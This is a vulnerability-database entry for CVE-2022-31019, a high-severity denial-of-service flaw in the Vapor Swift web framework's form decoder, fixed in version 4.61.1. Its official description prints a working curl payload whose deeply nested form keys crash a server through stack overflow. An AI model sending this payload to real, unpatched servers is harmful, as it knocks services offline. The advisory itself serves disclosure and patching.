Vulnerability · Published Jun 6, 2022 · Assigned by GitHub_M

CVE-2022-31019DoS Vulnerability in URLEncodedFormDecoder in Vapor

High 7.5

In plain English

A high-severity buffer overflow in vapor from vapor. Proof-of-concept exploit code is public. The chance it is exploited in the next 30 days is estimated at 1.7% (higher than 77% of all known vulnerabilities).

Severity (CVSS 3.1)7.5High

Exploit odds (30 days)1.7%top 23.2% of all CVEs

Exploited in the wildNo reportsCISA SSVC: poc

Attack toolingNoneno public tooling known

Official description

Vapor is a server-side Swift HTTP web framework. When using automatic content decoding an attacker can craft a request body that can make the server crash with the following request: `curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo`. The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow and a process crash. This issue has been fixed in version 4.61.1.

Affected products (as reported)

Vendor	Product	Versions
vapor	vapor	< 4.61.1

Weakness: CWE-120 · Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

https://github.com/vapor/vapor/security/advisories/GHSA-qvxg-wjxc-r4gg x_refsource_CONFIRM
https://github.com/vapor/vapor/commit/6c63226a4ab82ce53730eb1afb9ca63866fcf033 x_refsource_MISC